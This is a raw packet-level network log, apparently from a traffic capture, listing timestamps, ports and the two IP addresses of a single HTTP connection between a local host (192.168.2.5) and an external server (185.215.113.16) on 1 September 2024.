Sep 1, 2024 01:30:11.975878000 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975888014 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975898027 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.975903988 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975923061 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.975950956 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976012945 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976022959 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976032972 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976042986 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976052046 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976056099 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976062059 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976059914 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976072073 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976079941 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976094007 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976106882 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976110935 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976121902 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976125956 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976131916 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976141930 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976142883 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976151943 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976161003 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976161003 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976176977 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976186991 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976196051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976207018 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976212978 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976213932 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976234913 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976253986 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976257086 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976270914 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976280928 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976293087 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976303101 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976305008 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976319075 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976320982 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976329088 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976346016 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976350069 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976356983 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976366997 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976377010 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976383924 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976385117 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976386070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976397038 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976407051 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976408005 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976418018 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976428032 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976438046 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976438999 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.976455927 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.976479053 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977631092 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977683067 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977735996 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977747917 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977757931 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977766991 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977777004 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977786064 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977787971 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977808952 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977832079 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977868080 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977878094 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977886915 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977896929 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977905989 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977905989 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977916956 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977926970 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977937937 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977941990 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977947950 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.977962971 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.977986097 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978005886 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978015900 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978024960 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978035927 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978045940 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978053093 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978055954 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978066921 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978072882 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978075981 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978085995 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978092909 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978096962 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978123903 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978125095 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978136063 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978142023 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978146076 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978157043 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978163004 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978167057 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978177071 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978187084 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978190899 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978197098 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978209019 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978213072 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978226900 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978231907 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978238106 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978247881 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978250027 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978255987 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978266001 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978272915 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978276968 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978286028 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978296995 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978307009 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978338957 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978343010 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978353024 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978362083 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978372097 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978382111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978385925 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978390932 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978401899 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978406906 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978410959 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978421926 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978430033 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978431940 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.978456974 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.978472948 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979057074 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979068041 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979078054 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979103088 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979130030 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979221106 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979232073 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979243040 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979252100 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979262114 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979270935 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979274988 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979290962 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979291916 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979302883 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979312897 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979322910 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979322910 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979332924 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979342937 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979352951 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979360104 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979360104 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979362965 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979372978 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979377985 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979383945 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979396105 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979403019 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979420900 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979438066 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979455948 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979465008 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979474068 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979484081 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979492903 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979499102 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979502916 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979513884 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979521036 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979522943 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979533911 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979538918 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979542971 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979553938 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979562044 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979568958 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979584932 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979595900 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979595900 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979610920 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979626894 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979635954 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979644060 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979645014 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979644060 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979656935 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979662895 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979666948 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979676962 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979681015 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979687929 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979697943 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979703903 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979716063 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979722023 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979732037 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979741096 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979742050 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979752064 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979762077 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979764938 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979773045 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979783058 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979796886 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979799986 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979808092 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979819059 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.979818106 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979834080 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.979866982 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980042934 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980052948 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980063915 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980072975 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980092049 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980133057 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980204105 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980214119 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980223894 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980233908 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980243921 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980252981 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980254889 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980262995 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980273008 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980273008 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980288982 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980299950 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980307102 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980309963 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980319977 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980326891 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980329037 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980340004 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980350018 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980350971 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980362892 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980371952 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980384111 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980386972 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980386972 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980405092 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980426073 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980443954 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980453968 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980463028 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980473995 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980489016 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980499983 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980509043 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980519056 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980519056 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980520010 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980520010 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980529070 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980537891 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980546951 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980547905 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980557919 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980565071 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980585098 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980592966 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980597019 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980606079 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980616093 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980623960 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980624914 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980643034 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980643034 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980653048 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980662107 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980664015 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980670929 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980681896 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980684996 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980690956 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980700970 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980710983 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980716944 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980721951 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980731964 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980741978 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980752945 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980756998 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980781078 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980798960 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980798960 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980808973 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980827093 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980833054 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980837107 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980846882 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980855942 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980858088 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980865955 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980873108 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980875969 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980886936 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980896950 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980897903 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980906963 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980912924 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980916977 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980928898 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980938911 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980973005 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.980982065 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.980992079 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981000900 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981012106 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981020927 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981024981 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981031895 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981041908 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981044054 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981061935 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981087923 CEST	49718	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:11.981134892 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981146097 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981153965 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981163979 CEST	80	49718	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:11.981173992 CEST	80	49718	185.215.113.16	192.168.2.5
